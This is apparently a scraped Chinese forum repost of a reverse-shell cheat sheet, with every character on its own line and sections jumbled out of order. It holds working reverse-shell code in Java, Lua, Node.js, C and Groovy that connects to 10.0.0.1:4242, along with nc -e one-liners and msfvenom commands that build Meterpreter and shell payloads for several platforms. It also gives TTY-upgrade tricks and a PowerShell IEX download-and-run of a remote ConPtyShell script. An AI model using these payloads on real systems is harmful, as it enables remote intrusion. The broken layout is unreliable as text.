c
p
/
1
0
.
0
.
0
.
1
/
4
2
4
2
;
c
a
t
<
&
5
|
w
h
i
l
e
r
e
a
d
l
i
n
e
;
d
o
$
l
i
n
e
2
>
&
5
>
&
5
;
d
o
n
e
"
]
a
s
S
t
r
i
n
g
[
]
)
p
.
w
a
i
t
F
o
r
(
)
S
t
r
i
n
g
h
o
s
t
=
"
1
2
7
.
0
.
0
.
1
"
;
i
n
t
p
o
r
t
=
4
4
4
4
;
S
t
r
i
n
g
c
m
d
=
"
c
m
d
.
e
x
e
"
;
P
r
o
c
e
s
s
p
=
n
e
w
P
r
o
c
e
s
s
B
u
i
l
d
e
r
(
c
m
d
)
.
r
e
d
i
r
e
c
t
E
r
r
o
r
S
t
r
e
a
m
(
t
r
u
e
)
.
s
t
a
r
t
(
)
;
S
o
c
k
e
t
s
=
n
e
w
S
o
c
k
e
t
(
h
o
s
t
,
p
o
r
t
)
;
I
n
p
u
t
S
t
r
e
a
m
p
i
=
p
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
,
p
e
=
p
.
g
e
t
E
r
r
o
r
S
t
r
e
a
m
(
)
,
s
i
=
s
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
O
u
t
p
u
t
S
t
r
e
a
m
p
o
=
p
.
g
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
,
s
o
=
s
.
g
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
w
h
i
l
e
(
!
s
.
i
s
C
l
o
s
e
d
(
)
)
{
w
h
i
l
e
(
p
i
.
a
v
a
i
l
a
b
l
e
(
)
>
0
)
s
o
.
w
r
i
t
e
(
p
i
.
r
e
a
d
(
)
)
;
w
h
i
l
e
(
p
e
.
a
v
a
i
l
a
b
l
e
(
)
>
0
)
s
o
.
w
r
i
t
e
(
p
e
.
r
e
a
d
(
)
)
;
w
h
i
l
e
(
s
i
.
a
v
a
i
l
a
b
l
e
(
)
>
0
)
p
o
.
w
r
i
t
e
(
s
i
.
r
e
a
d
(
)
)
;
s
o
.
f
l
u
s
h
(
)
;
p
o
.
f
l
u
s
h
(
)
;
T
h
r
e
a
d
.
s
l
e
e
p
(
5
0
)
;
t
r
y
{
p
.
e
x
i
t
V
a
l
u
e
(
)
;
b
r
e
a
k
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
}
}
;
p
.
d
e
s
t
r
o
y
(
)
;
s
.
c
l
o
s
e
(
)
;
T
h
r
e
a
d
t
h
r
e
a
d
=
n
e
w
T
h
r
e
a
d
(
)
{
p
u
b
l
i
c
v
o
i
d
r
u
n
(
)
{
/
/
R
e
v
e
r
s
e
s
h
e
l
l
h
e
r
e
}
}
t
h
r
e
a
d
.
s
t
a
r
t
(
)
;
m
s
f
v
e
n
o
m
-
p
j
a
v
a
/
j
s
p
_
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
1
0
.
0
.
0
.
1
L
P
O
R
T
=
4
2
4
2
-
f
w
a
r
>
r
e
v
e
r
s
e
.
w
a
r
s
t
r
i
n
g
s
r
e
v
e
r
s
e
.
w
a
r
|
g
r
e
p
j
s
p
#
i
n
o
r
d
e
r
t
o
g
e
t
t
h
e
n
a
m
e
o
f
t
h
e
f
i
l
e
l
u
a
-
e
"
r
e
q
u
i
r
e
(
'
s
o
c
k
e
t
'
)
;
r
e
q
u
i
r
e
(
'
o
s
'
)
;
t
=
s
o
c
k
e
t
.
t
c
p
(
)
;
t
:
c
o
n
n
e
c
t
(
'
1
0
.
0
.
0
.
1
'
,
'
4
2
4
2
'
)
;
o
s
.
e
x
e
c
u
t
e
(
'
/
b
i
n
/
s
h
-
i
<
&
3
>
&
3
2
>
&
3
'
)
;
"
l
u
a
5
.
1
-
e
'
l
o
c
a
l
h
o
s
t
,
p
o
r
t
=
"
1
0
.
0
.
0
.
1
"
,
4
2
4
2
l
o
c
a
l
s
o
c
k
e
t
=
r
e
q
u
i
r
e
(
"
s
o
c
k
e
t
"
)
l
o
c
a
l
t
c
p
=
s
o
c
k
e
t
.
t
c
p
(
)
l
o
c
a
l
i
o
=
r
e
q
u
i
r
e
(
"
i
o
"
)
t
c
p
:
c
o
n
n
e
c
t
(
h
o
s
t
,
p
o
r
t
)
;
w
h
i
l
e
t
r
u
e
d
o
l
o
c
a
l
c
m
d
,
s
t
a
t
u
s
,
p
a
r
t
i
a
l
=
t
c
p
:
r
e
c
e
i
v
e
(
)
l
o
c
a
l
f
=
i
o
.
p
o
p
e
n
(
c
m
d
,
"
r
"
)
l
o
c
a
l
s
=
f
:
r
e
a
d
(
"
*
a
"
)
f
:
c
l
o
s
e
(
)
t
c
p
:
s
e
n
d
(
s
)
i
f
s
t
a
t
u
s
=
=
"
c
l
o
s
e
d
"
t
h
e
n
b
r
e
a
k
e
n
d
e
n
d
t
c
p
:
c
l
o
s
e
(
)
'
(
f
u
n
c
t
i
o
n
(
)
{
v
a
r
n
e
t
=
r
e
q
u
i
r
e
(
"
n
e
t
"
)
,
c
p
=
r
e
q
u
i
r
e
(
"
c
h
i
l
d
_
p
r
o
c
e
s
s
"
)
,
s
h
=
c
p
.
s
p
a
w
n
(
"
/
b
i
n
/
s
h
"
,
[
]
)
;
v
a
r
c
l
i
e
n
t
=
n
e
w
n
e
t
.
S
o
c
k
e
t
(
)
;
c
l
i
e
n
t
.
c
o
n
n
e
c
t
(
4
2
4
2
,
"
1
0
.
0
.
0
.
1
"
,
f
u
n
c
t
i
o
n
(
)
{
c
l
i
e
n
t
.
p
i
p
e
(
s
h
.
s
t
d
i
n
)
;
s
h
.
s
t
d
o
u
t
.
p
i
p
e
(
c
l
i
e
n
t
)
;
s
h
.
s
t
d
e
r
r
.
p
i
p
e
(
c
l
i
e
n
t
)
;
G
r
o
o
v
y
作
者
:
f
r
o
h
o
f
f
注
意
:
J
a
v
a
反
向
s
h
e
l
l
也
适
用
于
G
r
o
o
v
y
G
r
o
o
v
y
替
代
方
案
替
代
方
案
1
注
意
注
意
:
这
更
隐
蔽
C
编
译
M
e
t
e
r
p
r
e
t
e
r
S
h
e
l
l
W
i
n
d
o
w
s
分
阶
段
反
向
分
阶
段
反
向
T
C
P
W
i
n
d
o
w
s
S
t
a
g
e
l
e
s
s
反
向
反
向
T
C
P
}
)
;
r
e
t
u
r
n
/
a
/
;
/
/
P
r
e
v
e
n
t
s
t
h
e
N
o
d
e
.
j
s
a
p
p
l
i
c
a
t
i
o
n
f
o
r
m
c
r
a
s
h
i
n
g
}
)
(
)
;
o
r
r
e
q
u
i
r
e
(
'
c
h
i
l
d
_
p
r
o
c
e
s
s
'
)
.
e
x
e
c
(
'
n
c
-
e
/
b
i
n
/
s
h
1
0
.
0
.
0
.
1
4
2
4
2
'
)
o
r
-
v
a
r
x
=
g
l
o
b
a
l
.
p
r
o
c
e
s
s
.
m
a
i
n
M
o
d
u
l
e
.
r
e
q
u
i
r
e
-
x
(
'
c
h
i
l
d
_
p
r
o
c
e
s
s
'
)
.
e
x
e
c
(
'
n
c
1
0
.
0
.
0
.
1
4
2
4
2
-
e
/
b
i
n
/
b
a
s
h
'
)
o
r
h
t
t
p
s
:
/
/
g
i
t
l
a
b
.
c
o
m
/
0
x
4
n
d
r
3
/
b
l
o
g
/
b
l
o
b
/
m
a
s
t
e
r
/
J
S
g
e
n
/
J
S
g
e
n
.
p
y
S
t
r
i
n
g
h
o
s
t
=
"
1
0
.
0
.
0
.
1
"
;
i
n
t
p
o
r
t
=
4
2
4
2
;
S
t
r
i
n
g
c
m
d
=
"
c
m
d
.
e
x
e
"
;
P
r
o
c
e
s
s
p
=
n
e
w
P
r
o
c
e
s
s
B
u
i
l
d
e
r
(
c
m
d
)
.
r
e
d
i
r
e
c
t
E
r
r
o
r
S
t
r
e
a
m
(
t
r
u
e
)
.
s
t
a
r
t
(
)
;
S
o
c
k
e
t
s
=
n
e
w
S
o
c
k
e
t
(
h
o
s
t
,
p
o
r
t
)
;
I
n
p
u
t
S
t
r
e
a
m
p
i
=
p
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
,
p
e
=
p
.
g
e
t
E
r
r
o
r
S
t
r
e
a
m
(
)
,
s
i
=
s
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
O
u
t
p
u
t
S
t
r
e
a
m
p
o
=
p
.
g
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
,
s
o
=
s
.
g
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
w
h
i
l
e
(
!
s
.
i
s
C
l
o
s
e
d
(
)
)
{
w
h
i
l
e
(
p
i
.
a
v
a
i
l
a
b
l
e
(
)
>
0
)
s
o
.
w
r
i
t
e
(
p
i
.
r
e
a
d
(
)
)
;
w
h
i
l
e
(
p
e
.
a
v
a
i
l
a
b
l
e
(
)
>
0
)
s
o
.
w
r
i
t
e
(
p
e
.
r
e
a
d
(
)
)
;
w
h
i
l
e
(
s
i
.
a
v
a
i
l
a
b
l
e
(
)
>
0
)
p
o
.
w
r
i
t
e
(
s
i
.
r
e
a
d
(
)
)
;
s
o
.
f
l
u
s
h
(
)
;
p
o
.
f
l
u
s
h
(
)
;
T
h
r
e
a
d
.
s
l
e
e
p
(
5
0
)
;
t
r
y
{
p
.
e
x
i
t
V
a
l
u
e
(
)
;
b
r
e
a
k
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
}
}
;
p
.
d
e
s
t
r
o
y
(
)
;
s
.
c
l
o
s
e
(
)
;
T
h
r
e
a
d
.
s
t
a
r
t
{
/
/
R
e
v
e
r
s
e
s
h
e
l
l
h
e
r
e
}
g
c
c
/
t
m
p
/
s
h
e
l
l
.
c
-
-
o
u
t
p
u
t
c
s
h
&
&
c
s
h
#
i
n
c
l
u
d
e
<
s
t
d
i
o
.
h
>
#
i
n
c
l
u
d
e
<
s
y
s
/
s
o
c
k
e
t
.
h
>
#
i
n
c
l
u
d
e
<
s
y
s
/
t
y
p
e
s
.
h
>
#
i
n
c
l
u
d
e
<
s
t
d
l
i
b
.
h
>
#
i
n
c
l
u
d
e
<
u
n
i
s
t
d
.
h
>
#
i
n
c
l
u
d
e
<
n
e
t
i
n
e
t
/
i
n
.
h
>
#
i
n
c
l
u
d
e
<
a
r
p
a
/
i
n
e
t
.
h
>
i
n
t
m
a
i
n
(
v
o
i
d
)
{
i
n
t
p
o
r
t
=
4
2
4
2
;
s
t
r
u
c
t
s
o
c
k
a
d
d
r
_
i
n
r
e
v
s
o
c
k
a
d
d
r
;
i
n
t
s
o
c
k
t
=
s
o
c
k
e
t
(
A
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
,
0
)
;
r
e
v
s
o
c
k
a
d
d
r
.
s
i
n
_
f
a
m
i
l
y
=
A
F
_
I
N
E
T
;
r
e
v
s
o
c
k
a
d
d
r
.
s
i
n
_
p
o
r
t
=
h
t
o
n
s
(
p
o
r
t
)
;
r
e
v
s
o
c
k
a
d
d
r
.
s
i
n
_
a
d
d
r
.
s
_
a
d
d
r
=
i
n
e
t
_
a
d
d
r
(
"
1
0
.
0
.
0
.
1
"
)
;
c
o
n
n
e
c
t
(
s
o
c
k
t
,
(
s
t
r
u
c
t
s
o
c
k
a
d
d
r
*
)
&
r
e
v
s
o
c
k
a
d
d
r
,
s
i
z
e
o
f
(
r
e
v
s
o
c
k
a
d
d
r
)
)
;
d
u
p
2
(
s
o
c
k
t
,
0
)
;
d
u
p
2
(
s
o
c
k
t
,
1
)
;
d
u
p
2
(
s
o
c
k
t
,
2
)
;
c
h
a
r
*
c
o
n
s
t
a
r
g
v
[
]
=
{
"
/
b
i
n
/
s
h
"
,
N
U
L
L
}
;
e
x
e
c
v
e
(
"
/
b
i
n
/
s
h
"
,
a
r
g
v
,
N
U
L
L
)
;
r
e
t
u
r
n
0
;
}
m
s
f
v
e
n
o
m
-
p
w
i
n
d
o
w
s
/
m
e
t
e
r
p
r
e
t
e
r
/
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
1
0
.
0
.
0
.
1
L
P
O
R
T
=
4
2
4
2
-
f
e
x
e
>
r
e
v
e
r
s
e
.
e
x
e
m
s
f
v
e
n
o
m
-
p
w
i
n
d
o
w
s
/
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
1
0
.
0
.
0
.
1
L
P
O
R
T
=
4
2
4
2
-
f
e
x
e
>
r
e
v
e
r
s
e
.
e
x
e
L
i
n
u
x
分
阶
段
反
向
分
阶
段
反
向
T
C
P
L
i
n
u
x
无
阶
段
反
向
无
阶
段
反
向
T
C
P
其
他
平
台
其
他
平
台
S
p
a
w
n
T
T
Y
S
h
e
l
l
为
了
捕
获
s
h
e
l
l
,
您
需
要
监
听
所
需
的
端
口
。
将
增
强
外
壳
,
使
您
可
以
使
用
.
有
时
,
您
想
在
部
分
t
t
y
s
h
e
l
l
中
访
问
快
捷
方
式
、
s
u
、
n
a
n
o
和
自
动
完
成
。
O
h
M
y
Z
S
H
可
能
会
破
解
这
个
技
巧
,
推
荐
一
个
简
单
的
这
里
的
主
要
问
题
是
z
s
h
不
像
b
a
s
h
或
s
h
那
样
处
理
s
t
t
y
命
令
。
[
.
.
.
]
s
t
t
y
r
a
w
-
e
c
h
o
;
f
g
[
.
.
.
]
如
果
你
尝
试
将
它
作
为
两
个
分
开
的
命
令
来
执
行
,
一
旦
出
现
提
示
你
执
行
f
g
命
令
,
你
的
-
e
c
h
o
命
令
已
经
失
去
了
它
的
作
用
c
t
r
l
+
z
或
者
使
用
b
i
n
a
r
y
来
获
得
一
个
完
全
t
t
y
的
反
向
s
h
e
l
l
从
解
释
器
生
成
T
T
Y
s
h
e
l
l
v
i
:
v
i
:
m
s
f
v
e
n
o
m
-
p
l
i
n
u
x
/
x
8
6
/
m
e
t
e
r
p
r
e
t
e
r
/
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
1
0
.
0
.
0
.
1
L
P
O
R
T
=
4
2
4
2
-
f
e
l
f
>
r
e
v
e
r
s
e
.
e
l
f
m
s
f
v
e
n
o
m
-
p
l
i
n
u
x
/
x
8
6
/
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
1
0
.
0
.
0
.
1
L
P
O
R
T
=
4
2
4
2
-
f
e
l
f
>
r
e
v
e
r
s
e
.
e
l
f
$
m
s
f
v
e
n
o
m
-
p
l
i
n
u
x
/
x
8
6
/
m
e
t
e
r
p
r
e
t
e
r
/
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
e
l
f
>
s
h
e
l
l
.
e
l
f
$
m
s
f
v
e
n
o
m
-
p
w
i
n
d
o
w
s
/
m
e
t
e
r
p
r
e
t
e
r
/
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
e
x
e
>
s
h
e
l
l
.
e
x
e
$
m
s
f
v
e
n
o
m
-
p
o
s
x
/
x
8
6
/
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
m
a
c
h
o
>
s
h
e
l
l
.
m
a
c
h
o
$
m
s
f
v
e
n
o
m
-
p
w
i
n
d
o
w
s
/
m
e
t
e
r
p
r
e
t
e
r
/
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
a
s
p
>
s
h
e
l
l
.
a
s
p
$
m
s
f
v
e
n
o
m
-
p
j
a
v
a
/
j
s
p
_
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
r
a
w
>
s
h
e
l
l
.
j
s
p
$
m
s
f
v
e
n
o
m
-
p
j
a
v
a
/
j
s
p
_
s
h
e
l
l
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
w
a
r
>
s
h
e
l
l
.
w
a
r
$
m
s
f
v
e
n
o
m
-
p
c
m
d
/
u
n
i
x
/
r
e
v
e
r
s
e
_
p
y
t
h
o
n
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
r
a
w
>
s
h
e
l
l
.
p
y
$
m
s
f
v
e
n
o
m
-
p
c
m
d
/
u
n
i
x
/
r
e
v
e
r
s
e
_
b
a
s
h
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
r
a
w
>
s
h
e
l
l
.
s
h
$
m
s
f
v
e
n
o
m
-
p
c
m
d
/
u
n
i
x
/
r
e
v
e
r
s
e
_
p
e
r
l
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
r
a
w
>
s
h
e
l
l
.
p
l
$
m
s
f
v
e
n
o
m
-
p
p
h
p
/
m
e
t
e
r
p
r
e
t
e
r
_
r
e
v
e
r
s
e
_
t
c
p
L
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
L
P
O
R
T
=
4
2
4
2
-
f
r
a
w
>
s
h
e
l
l
.
p
h
p
;
c
a
t
s
h
e
l
l
.
p
h
p
|
p
b
c
o
p
y
&
&
e
c
h
o
'
<
?
p
h
p
'
|
t
r
-
d
'
n
'
>
s
h
e
l
l
.
p
h
p
&
&
p
b
p
a
s
t
e
>
>
s
h
e
l
l
.
p
h
p
r
l
w
r
a
p
[
C
T
R
L
]
+
[
L
]
r
l
w
r
a
p
n
c
1
0
.
0
.
0
.
1
4
2
4
2
r
l
w
r
a
p
-
r
-
f
.
n
c
1
0
.
0
.
0
.
1
4
2
4
2
-
f
.
w
i
l
l
m
a
k
e
r
l
w
r
a
p
u
s
e
t
h
e
c
u
r
r
e
n
t
h
i
s
t
o
r
y
f
i
l
e
a
s
a
c
o
m
p
l
e
t
i
o
n
w
o
r
d
l
i
s
t
.
-
r
P
u
t
a
l
l
w
o
r
d
s
s
e
e
n
o
n
i
n
-
a
n
d
o
u
t
p
u
t
o
n
t
h
e
c
o
m
p
l
e
t
i
o
n
l
i
s
t
.
s
h
e
c
h
o
$
T
E
R
M
&
&
t
p
u
t
l
i
n
e
s
&
&
t
p
u
t
c
o
l
s
#
f
o
r
b
a
s
h
s
t
t
y
r
a
w
-
e
c
h
o
f
g
#
f
o
r
z
s
h
s
t
t
y
r
a
w
-
e
c
h
o
;
f
g
r
e
s
e
t
e
x
p
o
r
t
S
H
E
L
L
=
b
a
s
h
e
x
p
o
r
t
T
E
R
M
=
x
t
e
r
m
-
2
5
6
c
o
l
o
r
s
t
t
y
r
o
w
s
<
n
u
m
>
c
o
l
u
m
n
s
<
c
o
l
s
>
s
o
c
a
t
s
o
c
a
t
f
i
l
e
:
`
t
t
y
`
,
r
a
w
,
e
c
h
o
=
0
t
c
p
-
l
i
s
t
e
n
:
1
2
3
4
5
/
b
i
n
/
s
h
-
i
p
y
t
h
o
n
3
-
c
'
i
m
p
o
r
t
p
t
y
;
p
t
y
.
s
p
a
w
n
(
"
/
b
i
n
/
s
h
"
)
'
p
y
t
h
o
n
3
-
c
"
_
_
i
m
p
o
r
t
_
_
(
'
p
t
y
'
)
.
s
p
a
w
n
(
'
/
b
i
n
/
b
a
s
h
'
)
"
p
y
t
h
o
n
3
-
c
"
_
_
i
m
p
o
r
t
_
_
(
'
s
u
b
p
r
o
c
e
s
s
'
)
.
c
a
l
l
(
[
'
/
b
i
n
/
b
a
s
h
'
]
)
"
p
e
r
l
-
e
'
e
x
e
c
"
/
b
i
n
/
s
h
"
;
'
p
e
r
l
:
e
x
e
c
"
/
b
i
n
/
s
h
"
;
p
e
r
l
-
e
'
p
r
i
n
t
`
/
b
i
n
/
b
a
s
h
`
'
r
u
b
y
:
e
x
e
c
"
/
b
i
n
/
s
h
"
l
u
a
:
o
s
.
e
x
e
c
u
t
e
(
'
/
b
i
n
/
s
h
'
)
:
!
b
a
s
h
n
m
a
p
:
m
y
s
q
l
:
替
代
T
T
Y
方
法
W
i
n
d
o
w
s
上
的
完
全
交
互
式
反
向
上
的
完
全
交
互
式
反
向
s
h
e
l
l
W
i
n
d
o
w
s
中
伪
控
制
台
(
C
o
n
P
t
y
)
的
引
入
大
大
改
进
了
W
i
n
d
o
w
s
处
理
终
端
的
方
式
。
C
o
n
P
t
y
S
h
e
l
l
使
用
函
数
使
用
函
数
C
r
e
a
t
e
P
s
e
u
d
o
C
o
n
s
o
l
e
(
)
。
此
功
能
自
。
此
功
能
自
W
i
n
d
o
w
s
1
0
/
W
i
n
d
o
w
s
S
e
r
v
e
r
2
0
1
9
版
本
版
本
1
8
0
9
(
内
部
版
本
(
内
部
版
本
1
0
.
0
.
1
7
7
6
3
)
起
可
用
。
)
起
可
用
。
服
务
器
端
:
客
户
端
:
参
考
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
s
w
i
s
s
k
y
r
e
p
o
/
P
a
y
l
o
a
d
s
A
l
l
T
h
e
T
h
i
n
g
s
/
b
l
o
b
/
7
3
5
b
0
d
2
2
7
7
b
3
9
c
d
a
7
5
a
f
2
8
5
5
3
6
2
f
d
5
e
8
a
e
5
0
b
3
d
b
/
M
e
t
h
o
d
o
l
o
g
y
%
2
0
a
n
d
%
2
0
R
e
s
o
u
r
c
e
s
/
R
e
v
e
r
s
e
%
2
0
S
h
e
l
l
%
2
0
C
h
e
a
t
s
h
e
e
t
.
m
d
转
自
系
统
安
全
运
维
转
自
系
统
安
全
运
维
每
日
分
享
技
术
文
章
与
工
具
每
日
分
享
技
术
文
章
与
工
具
:
s
e
t
s
h
e
l
l
=
/
b
i
n
/
b
a
s
h
:
s
h
e
l
l
!
s
h
!
b
a
s
h
w
w
w
-
d
a
t
a
@
d
e
b
i
a
n
:
/
d
e
v
/
s
h
m
$
s
u
-
u
s
e
r
s
u
:
m
u
s
t
b
e
r
u
n
f
r
o
m
a
t
e
r
m
i
n
a
l
w
w
w
-
d
a
t
a
@
d
e
b
i
a
n
:
/
d
e
v
/
s
h
m
$
/
u
s
r
/
b
i
n
/
s
c
r
i
p
t
-
q
c
/
b
i
n
/
b
a
s
h
/
d
e
v
/
n
u
l
l
w
w
w
-
d
a
t
a
@
d
e
b
i
a
n
:
/
d
e
v
/
s
h
m
$
s
u
-
u
s
e
r
P
a
s
s
w
o
r
d
:
P
4
s
s
W
0
r
D
u
s
e
r
@
d
e
b
i
a
n
:
~
$
s
t
t
y
r
a
w
-
e
c
h
o
;
(
s
t
t
y
s
i
z
e
;
c
a
t
)
|
n
c
-
l
v
n
p
3
0
0
1
I
E
X
(
I
W
R
h
t
t
p
s
:
/
/
r
a
w
.
g
i
t
h
u
b
u
s
e
r
c
o
n
t
e
n
t
.
c
o
m
/
a
n
t
o
n
i
o
C
o
c
o
/
C
o
n
P
t
y
S
h
e
l
l
/
m
a
s
t
e
r
/
I
n
v
o
k
e
-
C
o
n
P
t
y
S
h
e
l
l
.
p
s
1
-
U
s
e
B
a
s
i
c
P
a
r
s
i
n
g
)
;
I
n
v
o
k
e
-
C
o
n
P
t
y
S
h
e
l
l
1
0
.
0
.
0
.
2
3
0
0
1
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页